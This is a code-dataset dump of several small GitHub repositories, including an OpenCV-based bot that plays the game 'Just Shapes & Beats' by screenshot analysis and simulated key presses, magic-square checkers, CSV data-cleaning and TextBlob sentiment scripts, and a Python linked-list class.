images.\r\ncv2.imshow(\"Thresholded Image\", im_th)\r\ncv2.imshow(\"Floodfilled Image\", im_floodfill)\r\ncv2.imshow(\"Inverted Floodfilled Image\", im_floodfill_inv)\r\ncv2.imshow(\"Foreground\", im_out)\r\n\r\n'''\r\n\r\ncv2.waitKey(0)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ncv2.destroyAllWindows()\r\n\r\n\r\n" }, { "alpha_fraction": 0.7894737124443054, "alphanum_fraction": 0.7894737124443054, "avg_line_length": 19, "blob_id": "1cd6139b5563a1cbc14d8b7c17ac807adee53195", "content_id": "ff3c40432df6a364f4955c98d0d39c35c752e876", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 19, "license_type": "no_license", "max_line_length": 19, "num_lines": 1, "path": "/README.md", "repo_name": "ShivanshSetia/Pothole-Detector-", "src_encoding": "UTF-8", "text": "# Pothole-Detector-" } ]
2
marine0927/AI
https://github.com/marine0927/AI
a88b4d43921b183f9e2058c47d988c035b9cb7ee
e72eb2ffbc9a751b192f682f328f2fb87931b234
4b502aee33de9f26a8e6022de983e47d6f9ce222
refs/heads/master
2021-04-05T16:32:09.816641
2020-03-19T18:38:30
2020-03-19T18:38:30
248,578,024
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5220980048179626, "alphanum_fraction": 0.5596379041671753, "avg_line_length": 32.16363525390625, "blob_id": "c9f0a5d67851b91762087124800460ab1752bdc5", "content_id": "85f6f0f78807b92a95907345b81405bcee17b5f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4016, "license_type": "no_license", "max_line_length": 128, "num_lines": 110, "path": "/demo/level1.py", "repo_name": "marine0927/AI", "src_encoding": "UTF-8", "text": "# 创作者 马如云\r\nimport sys\r\nsys.path.append('H:\\\\OpenAI')\r\n\r\nfrom demo.screenshot import screenshot\r\nimport numpy\r\nimport pyautogui\r\nimport cv2\r\nfrom pynput.keyboard import Key, Controller\r\nfrom numba import jit\r\nimport gc\r\nfrom demo.operation import Operation\r\nfrom cProfile import Profile\r\nimport win32gui\r\nfrom PyQt5.QtWidgets import QApplication\r\nimport math\r\nfrom demo.point import Point\r\nimport time\r\n\r\ndef main():\r\n keyboard = Controller()\r\n app = QApplication(sys.argv)\r\n hWnd = win32gui.FindWindow(None, \"Just Shapes & Beats\")#载入qt的app实例,寻找游戏对应窗口的hwnd\r\n for i in range(10000):\r\n while 1:\r\n start = cv2.getTickCount()#程序计时\r\n\r\n image = screenshot(hWnd)\r\n\r\n img = numpy.asarray(image)\r\n print(img[0, 0])#输出背景色\r\n # if (img[0,0]==numpy.array([2,27,35])).all() or (img[0,0]==numpy.array([21,36,37])).all():\r\n # print(1)\r\n # return\r\n playermask = cv2.inRange(img, numpy.array([0, 230, 230]), numpy.array([120, 255, 255]))#二值化寻找玩家轮廓\r\n (playercontours, _) = cv2.findContours(playermask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n playercontours.sort(key=cv2.contourArea, reverse=True)\r\n if len(playercontours)<=0:\r\n return\r\n\r\n if len(playercontours) > 0:#求方块外接圆圆心和半径\r\n cnt = playercontours[0]\r\n (playerX, playerY), playerR = cv2.minEnclosingCircle(cnt)\r\n\r\n for i in range(0, 60):\r\n if ((img[int(playerY+i), int(playerX + playerR+40)]==numpy.array([0,0,0])).all()==False):#判断障碍物,如果上方有障碍物,则往下移动\r\n keyboard.press(Key.up)\r\n time.sleep(0.01*i/20)\r\n keyboard.release(Key.up)\r\n break\r\n if ((img[int(playerY-i), int(playerX + playerR+40)]==numpy.array([0,0,0])).all()==False):\r\n keyboard.press(Key.down)\r\n time.sleep(0.01*i/20)\r\n keyboard.release(Key.down)\r\n break\r\n\r\n end = cv2.getTickCount()\r\n print((end - start) / cv2.getTickFrequency())\r\n\r\n del hWnd,keyboard\r\n gc.collect()\r\n sys.exit(app.exec_())\r\n\r\ndef main2():\r\n keyboard = Controller()\r\n app = QApplication(sys.argv)\r\n hWnd = win32gui.FindWindow(None, \"Just Shapes & Beats\")\r\n for i in range(10000):\r\n while 1:\r\n start = cv2.getTickCount()\r\n\r\n image = screenshot(hWnd)\r\n\r\n img = numpy.asarray(image)\r\n\r\n playermask = cv2.inRange(img, numpy.array([0, 230, 230]), numpy.array([120, 255, 255]))#二值化寻找玩家坐标\r\n (playercontours, _) = cv2.findContours(playermask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n playercontours.sort(key=cv2.contourArea, reverse=True)\r\n\r\n if len(playercontours) > 0:#求出玩家方块外接圆圆心和半径\r\n cnt = playercontours[0]\r\n (playerX, playerY), playerR = cv2.minEnclosingCircle(cnt)\r\n\r\n\r\n for i in range(0, 60):#检测障碍物方位,如果上方有障碍物,则向下躲避\r\n if ((img[int(playerY +i), int(playerX + playerR+20)] == numpy.array([0, 0, 0])).all() == False):\r\n\r\n keyboard.press(Key.up)\r\n time.sleep(0.01*i/10)\r\n keyboard.release(Key.up)\r\n break\r\n if ((img[int(playerY - i), int(playerX + playerR+20)] == numpy.array([0, 0, 0])).all() == False):\r\n keyboard.press(Key.down)\r\n time.sleep(0.01*i/10)\r\n keyboard.release(Key.down)\r\n break\r\n\r\n\r\n\r\n end = cv2.getTickCount()\r\n print((end - start) / cv2.getTickFrequency())#输出时间间隔\r\n\r\n del hWnd, keyboard\r\n gc.collect()\r\n sys.exit(app.exec_())#垃圾回收,安全退出\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n main2()" }, { "alpha_fraction": 0.6484848260879517, "alphanum_fraction": 0.6505050659179688, "avg_line_length": 15.392857551574707, "blob_id": "01c2c7ff2427968f533a931350735af09097ce5b", "content_id": "3a1e201845a5938e92c369a7669e92c4debabb3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 519, "license_type": "no_license", "max_line_length": 39, "num_lines": 28, "path": "/demo/test.py", "repo_name": "marine0927/AI", "src_encoding": "UTF-8", "text": "# 创作者 马如云\r\n\r\nfrom demo.screenshot import screenshot\r\nimport numpy\r\nfrom PIL import Image\r\nimport cv2\r\nimport pythoncom\r\nfrom demo.formfocus import setf\r\nimport time\r\nimport threading\r\nimport math\r\nfrom demo.operation import Operation\r\nfrom numba import jit\r\nimport concurrent.futures\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef Job_formfocus():#窗口焦点线程\r\n pythoncom.CoInitialize()\r\n sf = setf()\r\n while True:\r\n try:\r\n sf.setfocus()\r\n except Exception as e:\r\n print (e)\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 6, "blob_id": "b4047fa60feca7187b4f3611df5303d11a4bf086", "content_id": "6d9e11c8a0d279523232d05b7475e287fe1503d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 30, "license_type": "no_license", "max_line_length": 8, "num_lines": 2, "path": "/README.md", "repo_name": "marine0927/AI", "src_encoding": "UTF-8", "text": "# AI\n武汉大学大二实训\n" }, { "alpha_fraction": 0.5680933594703674, "alphanum_fraction": 0.5719844102859497, "avg_line_length": 25.157894134521484, "blob_id": "b0c9f4d085265fc5682eeefbe24480cb16005705", "content_id": "f73b9e66e925b69079c78a0c0b0016f82466cb62", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 566, "license_type": "no_license", "max_line_length": 39, "num_lines": 19, "path": "/demo/datacollect.py", "repo_name": "marine0927/AI", "src_encoding": "UTF-8", "text": "# 创作者 马如云\r\nfrom demo.operation import Operation\r\nfrom PIL import Image\r\n\r\nop=Operation()\r\n\r\noutput = open('data.txt', 'w')\r\nimg = Image.open()\r\nimg_array = img.load() # 获取像素点信息\r\nw, h = img.size\r\nfor i in range(0, h):\r\n for j in range(0, w):# 将每行像素点信息输出到文件\r\n pixel = img_array[j, i]\r\n print('(', end=\"\", file=output)\r\n print(j, end=\"\", file=output)\r\n print(',', end=\"\", file=output)\r\n print(i, end=\"\", file=output)\r\n print(')', end=\" \", file=output)\r\n print(pixel, file=output)" }, { "alpha_fraction": 0.6978609561920166, "alphanum_fraction": 0.7058823704719543, "avg_line_length": 19.764705657958984, "blob_id": "01c912e4006a268ac26fc4e3405ee6f2bb2ddbd1", "content_id": "38029c867ed2405c33ea8b875219b2d2b9c39809", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 450, "license_type": "no_license", "max_line_length": 45, "num_lines": 17, "path": "/demo/screenshot.py", "repo_name": "marine0927/AI", "src_encoding": "UTF-8", "text": "# 创作者 马如云\r\n# 截屏函数\r\nfrom PIL import Image\r\nfrom PyQt5.QtWidgets import QApplication\r\nimport win32gui\r\nimport numpy\r\nimport sys\r\nimport gc\r\n\r\n\r\ndef screenshot(hWnd):\r\n # 获取后台窗口的句柄,注意后台窗口不能最小化'\r\n screen = QApplication.primaryScreen()\r\n image = screen.grabWindow(hWnd).toImage()\r\n img=Image.fromqpixmap(image)#转化图片的类别\r\n del hWnd,screen,image\r\n return img\r\n\r\n\r\n" } ]
5
RenkoT97/Projekt2017
https://github.com/RenkoT97/Projekt2017
28fcdea3b3101c59b7d41724bf0bc7e05dc8cc9b
2f3503603b8462f008295ea7b1c4b7f3e66b5548
882497ed819b82056365ddec65946a3d11b8ce3b
refs/heads/master
2021-01-20T13:11:02.294610
2019-03-21T19:01:32
2019-03-21T19:01:32
90,458,625
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8181818127632141, "alphanum_fraction": 0.8282828330993652, "avg_line_length": 48.5, "blob_id": "ea27c5ac588fbf9de389c8a8dc3fdf79e2cd3b71", "content_id": "16d17f501750923567278e41b25576b3623896d0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 100, "license_type": "permissive", "max_line_length": 77, "num_lines": 2, "path": "/README.md", "repo_name": "RenkoT97/Projekt2017", "src_encoding": "UTF-8", "text": "# ProjektUVP: Kenken\nProjektno delo za predmet Uvod v programiranje 1. letnika finančne matematike\n" }, { "alpha_fraction": 0.5918854475021362, "alphanum_fraction": 0.6051204204559326, "avg_line_length": 34.87200164794922, "blob_id": "39053f5ad25bcf1c83bfcb4fd043e917cc7a5707", "content_id": "58f9911b9149552edfe39be0afd19fde4fe2be4d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4626, "license_type": "permissive", "max_line_length": 336, "num_lines": 125, "path": "/program.py", "repo_name": "RenkoT97/Projekt2017", "src_encoding": "UTF-8", "text": "import tkinter as tk\r\nimport random\r\nimport sys\r\nimport os\r\n\r\ndef pretvori_dat_v_sez(ime_dat):\r\n with open(ime_dat) as dat:\r\n datoteka = dat.readlines()\r\n seznam = [[[crka.strip() for crka in crke.split(',') if crka.strip() not in [\" \", \",\"]] for crke in vrstica.split(\"~\")[1:-1] if vrstica.strip()] for vrstica in datoteka]\r\n return seznam\r\n\r\nseznam1 = pretvori_dat_v_sez('Resitve.txt')\r\nseznam2 = pretvori_dat_v_sez('barve_polj.txt')\r\nseznam31 = pretvori_dat_v_sez('operacije.txt')\r\n\r\ndef zbrisi_x(seznam):\r\n sez = []\r\n for element in seznam:\r\n sez.append(element.replace('x', ''))\r\n return sez\r\n\r\ndef spremeni(seznam):\r\n sez = []\r\n for podseznam in seznam:\r\n sez.append(zbrisi_x(podseznam))\r\n return sez\r\n\r\ndef spremeni_seznam(seznam):\r\n sez = []\r\n for podseznam in seznam:\r\n sez.append(spremeni(podseznam))\r\n return sez\r\n\r\nseznam3 = spremeni_seznam(seznam31)\r\n\r\nst_kenkena = random.randint(0, 9)\r\n\r\nbarve = {'A': 'deep sky blue', 'B': 'yellow', 'C': 'red2', 'D': 'forest green', 'E': 'tan1', \\\r\n'F': 'DarkOrange1', 'G': 'chartreuse2', 'H': 'deep pink', 'I': 'steel blue', 'J': 'plum3', \\\r\n'K': 'SlateBlue3', 'L': 'medium sea green', 'M': 'goldenrod', 'N': 'OliveDrab2', 'O': 'DarkOrchid3'}\r\n\r\nokno = tk.Tk()\r\n\r\nseznam_vhodov = []\r\nfor i in range(6):\r\n podsez = []\r\n for j in range(6):\r\n vhod = tk.Entry(okno, bg = barve[seznam2[st_kenkena][i][j]])\r\n vhod.insert(0, seznam3[st_kenkena][i][j] + ' ')\r\n vhod.grid(row = i + 1, column = j, ipady = 40)\r\n podsez.append(vhod)\r\n seznam_vhodov.append(podsez)\r\n\r\ndef resitve():\r\n sez = []\r\n seznam = seznam1[st_kenkena]\r\n for element in seznam:\r\n for podelement in element:\r\n sez.append(podelement)\r\n return sez\r\n\r\ndef preberi_resitve():\r\n pridobljene_resitve = []\r\n for i in range(6):\r\n podsez = []\r\n for j in range(6):\r\n podsez.append(seznam_vhodov[i][j].get())\r\n pridobljene_resitve.append(podsez)\r\n nov_sez = []\r\n for element in pridobljene_resitve:\r\n for podelement in element:\r\n if '+' in podelement or '-' in podelement or '*' in podelement or ':' in podelement:\r\n for znak in podelement:\r\n if znak in '*:+-':\r\n mesto = podelement.index(znak)\r\n nov = podelement[(mesto + 1):]\r\n nov_sez.append(nov.replace(' ', ''))\r\n else:\r\n nov_sez.append(podelement.replace(' ', ''))\r\n return nov_sez\r\n\r\ndef preveri_resitve():\r\n if preberi_resitve() == resitve():\r\n return 'Čestitke! Pravilno ste izpolnili kenken!'\r\n else:\r\n return 'Vaša rešitev je žal napačna.'\r\n\r\ndef okno_preveri_resitve():\r\n okno2 = tk.Tk()\r\n resitve = tk.Label(okno2, text = preveri_resitve(), bg = 'papayawhip', font = 'slant')\r\n resitve.pack()\r\n okno2.mainloop()\r\n \r\ngumb_za_preverjanje_resitev = tk.Button(okno, text = 'Preveri rešitve', command = okno_preveri_resitve, cursor = 'hand2', activebackground = 'wheat', bg = 'papayawhip', width = '16')\r\ngumb_za_preverjanje_resitev.grid(row = 0, column = 1)\r\ngumb_za_preverjanje_resitev.pack\r\n\r\nbesedilo_navodila = 'Kenken je matematična uganka, ki jo je leta 2004 razvil japonski učitelj Tetsuya Miyamoto. \\n Rešuje se ga tako, da se v vsako vrstico in stolpec dolžine n napiše prvih n različnih naravnih \\n števil, v vsako polje iste barve pa taka števila, da iz njih s pripadajočo operacijo dobimo \\n rezultat, napisan v polju.'\r\n\r\ndef povej_mi_navodila():\r\n okno3 = tk.Tk()\r\n navodila = tk.Label(okno3, text = besedilo_navodila, bg = 'papayawhip', font = 'slant', justify = 'left')\r\n navodila.pack()\r\n okno3.mainloop()\r\n\r\ngumb_za_navodila = tk.Button(okno, text = 'Povej mi navodila', command = povej_mi_navodila, cursor ='hand2', activebackground = 'wheat', bg = 'papayawhip', width = '16')\r\ngumb_za_navodila.grid(row = 0, column = 0)\r\ngumb_za_navodila.pack\r\n\r\ndef zacni_še_enkrat():\r\n python = sys.executable\r\n os.execl(python, python, *sys.argv)\r\n\r\ngumb_za_nov_kenken = tk.Button(okno, text = 'Nov kenken', command = zacni_še_enkrat, cursor = 'hand2', activebackground = 'wheat', bg = 'papayawhip', width = '16')\r\ngumb_za_nov_kenken.grid(row = 0, column = 2)\r\ngumb_za_nov_kenken.pack\r\n\r\ndef izhod():\r\n okno.destroy()\r\n\r\ngumb_za_izhod = tk.Button(okno, text = 'Izhod', command = izhod, cursor = 'hand2', activebackground = 'wheat', bg = 'papayawhip', width = '16')\r\ngumb_za_izhod.grid(row = 0, column = 3)\r\ngumb_za_izhod.pack\r\n\r\nokno.mainloop()\r\n" } ]
2
himicrain/Orders
https://github.com/himicrain/Orders
61363f5c5df2603ab67a3c7b9e43965ae05c307c
579fc3202e602457c110c824cc7ce84580619fbd
bfa7826154df3b9d8edc8dd2c97e4956e333942a
refs/heads/master
2020-03-09T00:34:01.388853
2018-04-07T03:05:24
2018-04-07T03:05:24
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5514603853225708, "alphanum_fraction": 0.5688456296920776, "avg_line_length": 21.899999618530273, "blob_id": "438a56b645e2edad0333953b2257407fc1cc3d2b", "content_id": "500fa501cb5a11ef598450f1830bcc627cb4669a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1438, "license_type": "no_license", "max_line_length": 59, "num_lines": 60, "path": "/2018/4月/7-magicSquares-360/MagicSquare0.py", "repo_name": "himicrain/Orders", "src_encoding": "UTF-8", "text": "def checkMainDiagonal(list_):\r\n sum_=0\r\n for each in list_:\r\n sum_=sum_+int(each)\r\n return sum_\r\n\r\ndef checkDiagonal(list_):\r\n sum0 = 0\r\n for each in list_:\r\n sum0 = sum0 + int(each)\r\n return sum0\r\n \r\ndef checkRows(row):\r\n sum1=0\r\n for elem in row:\r\n sum1=sum1+int(elem)\r\n return sum1\r\n\r\ndef checkColumns(column):\r\n sum1=0\r\n for elem in column:\r\n sum1=sum1+int(elem)\r\n return sum1\r\n\r\ndef isMagic(nam1,nam2):\r\n f=open(nam1,\"r\")\r\n number_of_inputs=int(f.readline())\r\n f.readline()\r\n size=int(f.readline())\r\n print(size)\r\n rowlist=[]\r\n columnList=[]\r\n listOfLists=[]\r\n \r\n for i in range(size):\r\n line=f.readline()\r\n current_row=line.split()\r\n listOfLists.append(current_row)\r\n rowlist.append(checkRows(listOfLists[i]))\r\n print(rowlist)\r\n print(listOfLists)\r\n for i in range(size):\r\n current_column=[]\r\n for j in range(size):\r\n current_column.append(listOfLists[j][i])\r\n print(current_column)\r\n columnList.append(checkColumns(current_column))\r\n print(columnList)\r\n\r\n \r\n\r\ndef main():\r\n name1=input(\"Enter name of input file:\")\r\n name2=input(\"Enter name of output file:\")\r\n if name1==name2:\r\n print(\"The names are the same\")\r\n else:\r\n isMagic(name1,name2)\r\n print(\"The output has been written to results.txt\")\r\nmain()\r\n\r\n\r\n" }, { "alpha_fraction": 0.48468542098999023, "alphanum_fraction": 0.5008277893066406, "avg_line_length": 18.263999938964844, "blob_id": "3601213337154195355bb85cd4fb4be54616609a", "content_id": "4044f05c72408fe211b8a22541a456671263f8b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2416, "license_type": "no_license", "max_line_length": 78, "num_lines": 125, "path": "/2018/4月/7-magicSquares-360/MagicSquare.py", "repo_name": "himicrain/Orders", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# coding=utf8\n\n\ndef check_rows(Squares):\n\n sum_ = sum(Squares[0])\n for row in Squares[1:]:\n temp = sum(row)\n if sum_ != temp:\n return 0, sum_\n\n return 1, sum_\n\n\ndef check_cols(Squares):\n\n leng = len(Squares)\n\n col = []\n for i in range(leng):\n col.append(Squares[i][0])\n sum_ = sum(col)\n\n for i in range(leng-1):\n\n col = []\n\n for row in Squares:\n col.append(row[i+1])\n temp = sum(col)\n\n if sum_ != temp:\n return 0, sum_\n\n return 1, sum_\n\n\ndef check_diag(Squares):\n\n leng = len(Squares)\n\n d = []\n for i in range(leng):\n d.append(Squares[i][i])\n sum_ = sum(d)\n\n temp = []\n for i in range(leng):\n temp.append(Squares[i][leng-1-i])\n\n if sum_ != sum(temp):\n return 0, sum_\n\n return 1, sum_\n\n\ndef check(Squares):\n\n check_r = check_rows(Squares)\n check_c = check_cols(Squares)\n check_d = check_diag(Squares)\n\n if check_r[0] == 0 or check_c[0] == 0 or check_d[0] == 0:\n return 0\n\n if check_d[1] != check_r[1] != check_c[1]:\n return 0\n\n return 1\n\n\ndef isMagic(name1, name2):\n\n file_in = open(name1, 'r')\n file_out = open(name2, 'w')\n\n num = file_in.readline()\n file_out.writelines(num+'\\n')\n\n num = int(num.strip())\n\n while num > 0:\n\n N = file_in.readline().strip()\n while N is '':\n N = file_in.readline().strip()\n N = int(N)\n\n Squares = []\n for i in range(N):\n temp = file_in.readline().strip().split()\n temp_int = [int(x) for x in temp]\n Squares.append(temp_int)\n\n flg = check(Squares)\n\n if flg == 0:\n file_out.writelines(str(N) + ' invalid\\n')\n print('invliad')\n else:\n file_out.writelines(str(N) + ' valid\\n')\n print('valid')\n\n for line in Squares:\n str_ = ' '.join([str(x).rjust(len(str(N*N)), ' ') for x in line])\n file_out.writelines(str_+'\\n')\n file_out.writelines('\\n')\n\n num -= 1\n\n\ndef main():\n\n name1 = input(\"Enter name of input file:\")\n name2 = input(\"Enter name of output file:\")\n if name1 == name2:\n print(\"The names are the same\")\n else:\n isMagic(name1, name2)\n print(\"The output has been written to results.txt\")\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5526960492134094, "alphanum_fraction": 0.5557597875595093, "avg_line_length": 17.522727966308594, "blob_id": "c2b84d0e7cc1a1a5379f42557b27b2c055d077c1", "content_id": "1f559b4f59e4b2e3b39d980603a9e556cf184f61", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1690, "license_type": "no_license", "max_line_length": 60, "num_lines": 88, "path": "/2018/3月/0-cleanData-1000/DataClean/Mar-15/statistic.py", "repo_name": "himicrain/Orders", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python3\n#! coding=utf8\nimport os\nimport codecs\nimport csv\nfrom collections import Counter\n\nFields = []\nFileName = ''\n\ndef loadOriginalFiles(dir):\n global FileName,Fields\n allDatas = []\n filesPath = os.listdir(dir)\n for path in filesPath:\n FileName = FileName + (path.split('.'))[0] + ' and '\n\n f = open(dir + os.sep + path,mode='r')\n csv_f = csv.reader(f)\n\n tempDict = {}\n Fields = next(csv_f)\n\n for line in csv_f:\n id = line[0].strip()\n if id not in tempDict.keys():\n tempDict[id] = [line]\n else:\n tempDict[id].append(line)\n\n allDatas.append(tempDict)\n tempDict = {}\n\n FileName = FileName[:-5] + '.csv'\n print FileName\n\n return allDatas\n\n\n\ndef statistic(allDatas):\n leng = len(allDatas)\n\n ids = []\n\n for file in allDatas:\n for k,v in file.items():\n ids.append(k)\n\n\n\n temp_statistic = Counter(ids)\n\n fitIds = []\n\n for id,v in temp_statistic.items():\n if v == leng:\n fitIds.append(id)\n\n return fitIds\n\n\ndef statisticByFitIds(allDatas,fitids):\n global FileName,Fields\n f = open(FileName,'w')\n wr = csv.writer(f)\n wr.writerow(Fields)\n\n for id in fitids:\n for file in allDatas:\n temp = file[id]\n for line in temp:\n wr.writerow(line)\n\n f.close()\n\n\n\nif __name__ == '__main__':\n '''\n 把所有的原始的文件放在original文件夹下,就是把三个文件放在original csvs文件夹下\n '''\n\n all = loadOriginalFiles('./original_csvs')\n\n fitids = statistic(all)\n\n statisticByFitIds(all,fitids)\n\n\n" }, { "alpha_fraction": 0.588652491569519, "alphanum_fraction": 0.6010638475418091, "avg_line_length": 20.283018112182617, "blob_id": "6f5112ec6b41ae325db372eb1530a492d811410a", "content_id": "7529393a397823bbe81ccb2a87879917fb48b128", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1128, "license_type": "no_license", "max_line_length": 56, "num_lines": 53, "path": "/2018/3月/0-cleanData-1000/DataClean/sentiment/sentiment.py", "repo_name": "himicrain/Orders", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2\n# coding=utf-8\n\nfrom textblob import TextBlob\nimport os\nimport csv\n\n\nStatistic = {'Nutral': 0, 'Positive': 0, 'Negative': 0}\n\ndef statistic_sentiment(Dir,file):\n\tglobal Statistic\n\ti = 0\n\n\n\twith open(file.split(\".\")[0] + \"_res.csv\",\"w\") as wf:\n\t\twr = csv.writer(wf)\n\t\twith open(Dir+os.sep+file,'r+') as f:\n\t\t\treader = csv.reader(f)\n\t\t\tFields = next(reader)\n\t\t\tindex = Fields.index(\"message\")\n\t\t\tFields.append(\"score\")\n\t\t\twr.writerow([\"userid\",\"messageid\",\"message\",\"score\"])\n\t\t\tfor datas in reader:\n\t\t\t\tline = datas[index].strip()\n\t\t\t\tline = line.decode('utf-8')\n\t\t\t\tp = TextBlob(line)\n\t\t\t\tpro,sub = p.sentiment\n\t\t\t\tdatas.append(str(pro))\n\t\t\t\t\n\t\t\t\tnew_data = []\n\t\t\t\tfor x in [\"userid\",\"messageid\",\"message\",\"score\"]:\n\t\t\t\t\tnew_data.append(datas[Fields.index(x)])\n\t\t\t\twr.writerow(new_data)\n\t\t\t\tif pro < 0 :\n\t\t\t\t\tStatistic['Negative'] += 1\n\t\t\t\telif pro == 0:\n\t\t\t\t\tStatistic['Nutral'] += 1\n\t\t\t\telse:\n\t\t\t\t\tStatistic['Positive'] += 1\n\t\t\t\tprint i, pro\n\t\t\t\ti += 1\n\n\n\nif \"__main__\" == __name__:\n\tDir = './csvs'\n\t\n\tdirs = os.listdir(Dir)\n\tfor d in dirs:\n\t\tstatistic_sentiment(Dir, d)\n\tprint Statistic\n\tprint \"over \"\n" }, { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.6072463989257812, "avg_line_length": 19.567163467407227, "blob_id": "9a8d9a308c6448daaf00d88020fe564a05ad4db7", "content_id": "71835dc215f77c0d2911c277ba65f45aae7a3fab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1380, "license_type": "no_license", "max_line_length": 206, "num_lines": 67, "path": "/2018/3月/0-cleanData-1000/DataClean/新的需求Mar 21 2018/mix.py~", "repo_name": "himicrain/Orders", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python2\n#! coding=utf8\nimport os\nimport codecs\nimport csv\nfrom collections import Counter\n\nFields =set(['birthday', 'PrimaryFirst','messageid','userid','message','updated_time','nchar','q1','q2','q3','q4','q5','SWL_taken','SWL','gender','age','relationship_status','interested_in','network_size'])\nFileName = ''\nFields = set()\nUserIds = set()\n\n\ndef loadOriginalFiles(dir):\n\tglobal FileName,Fields,UserIds\n\tallDatas = []\n\tfilesPath = os.listdir(dir)\n\tfor path in filesPath:\n\t\twith open(dir + os.sep + path,mode='r') as csv_f:\n\t\t\treader = csv.DictReader(csv_f)\n\t\t\tFields.update(set(reader.fieldnames))\n\n\t\t\t\n\n\n\t\t\tfile_data = {}\n\t\t\tfor line in reader:\n\t\t\t\tid = line['userid']\n\t\t\t\tUserIds.add(id)\n\t\t\t\tline.pop('userid')\n\t\t\t\tfile_data[id] = line\n\t\t\t\n\t\t\t\n\t\t\tallDatas.append(file_data)\n\t\t\t\t\n\t#print UserIds\n\n\tif UserIds == ' ':\n\t\tprint '--------------------------------------'\n\t\n\t\n\treturn allDatas\n\ndef mix(allDatas):\n\twith open('./mix.csv','w') as csv_f:\n\t\twriter = csv.DictWriter(csv_f, fieldnames=Fields)\n\t\twriter.writeheader()\n\t\tfor id in list(UserIds):\n\t\t\ttemp = {}\n\t\t\tflag = 1\n\t\t\tfor part in allDatas:\n\t\t\t\ttry:\n\t\t\t\t\tt = part[id]\n\t\t\t\texcept :\n\t\t\t\t\tflag = 0\n\t\t\t\t\tbreak\n\t\t\t\ttemp.update(t)\n\t\t\tif flag == 0:\n\t\t\t\tcontinue\n\t\t\ttemp.update({'userid':id})\n\t\t\twriter.writerow(temp)\n\n\t\t \n\t\t \nif __name__ == \"__main__\":\n\tall = loadOriginalFiles('./OriginalFiles')\n\tmix(all)\n\n\n" } ]
5
AshfaqUet/Linked-List-in-Python
https://github.com/AshfaqUet/Linked-List-in-Python
c2f37f978ef2698a2232fbbfaa48676531b55ccd
e480490dbc0f47678d3af5bba6dc3b7f14b95ac9
c6eaa6b6cffaa5e6c267f4f049df5fc84e82b514
refs/heads/master
2020-09-13T14:38:18.125780
2019-11-20T00:53:40
2019-11-20T00:53:40
222,818,696
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.4881260395050049, "alphanum_fraction": 0.4885962903499603, "avg_line_length": 42.30208206176758, "blob_id": "eb29a62cf4d44e666ba1ecd3606fec0770405658", "content_id": "2f9f9954b18f83a0a96a14c1b5100b2c6a0cba6b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4253, "license_type": "no_license", "max_line_length": 109, "num_lines": 96, "path": "/linked_list.py", "repo_name": "AshfaqUet/Linked-List-in-Python", "src_encoding": "UTF-8", "text": "# #################### All the Link list functions define in this file ##############################\r\n\r\n\r\nfrom node import Node\r\n\r\n\r\nclass LinkedList:\r\n def __init__(self): # Constructor\r\n self.head = None\r\n self.tail = None\r\n\r\n def insert_at_start(self, value):\r\n newnode = Node(value)\r\n if self.head is None: # 1st value inserting in the link list when link list is empty\r\n self.head = newnode\r\n self.tail = newnode\r\n else: # when already have node but still want to add at start\r\n newnode.next = self.head\r\n self.head = newnode # updating head pointer\r\n\r\n def insert_at_last(self, value):\r\n newnode = Node(value)\r\n if self.tail is None: # If list is empty then value starting at start and last are the same\r\n self.head = newnode\r\n self.tail = newnode\r\n else:\r\n self.tail.next = newnode\r\n self.tail = newnode # updating tale pointer\r\n\r\n def delete_from_start(self):\r\n if self.head is not None: # if tree is not empty\r\n curr_head = self.head\r\n self.head = curr_head.next\r\n print(\"Node deleted from Start having value = \"+str(curr_head.data))\r\n del curr_head\r\n else:\r\n print(\"List is Empty\")\r\n\r\n def delete_from_last(self):\r\n if self.head is not None:\r\n second_last_node = self.head\r\n while second_last_node.next != self.tail: # finding 2nd last node\r\n second_last_node = second_last_node.next\r\n\r\n second_last_node.next = None\r\n print(\"Node deleted from last having value = \"+str(self.tail.data))\r\n del self.tail\r\n self.tail = second_last_node # updating tale pointer\r\n\r\n def search_node(self, value):\r\n curr = self.head\r\n if self.head is not None: # if tree is not empty\r\n while curr is not None: # finding value\r\n if curr.data == value: # if found break the loop\r\n break\r\n else:\r\n curr = curr.next # not found go to next\r\n if curr is None: # iterate whole loop but not found\r\n print(\"Value not Found\")\r\n else: # value 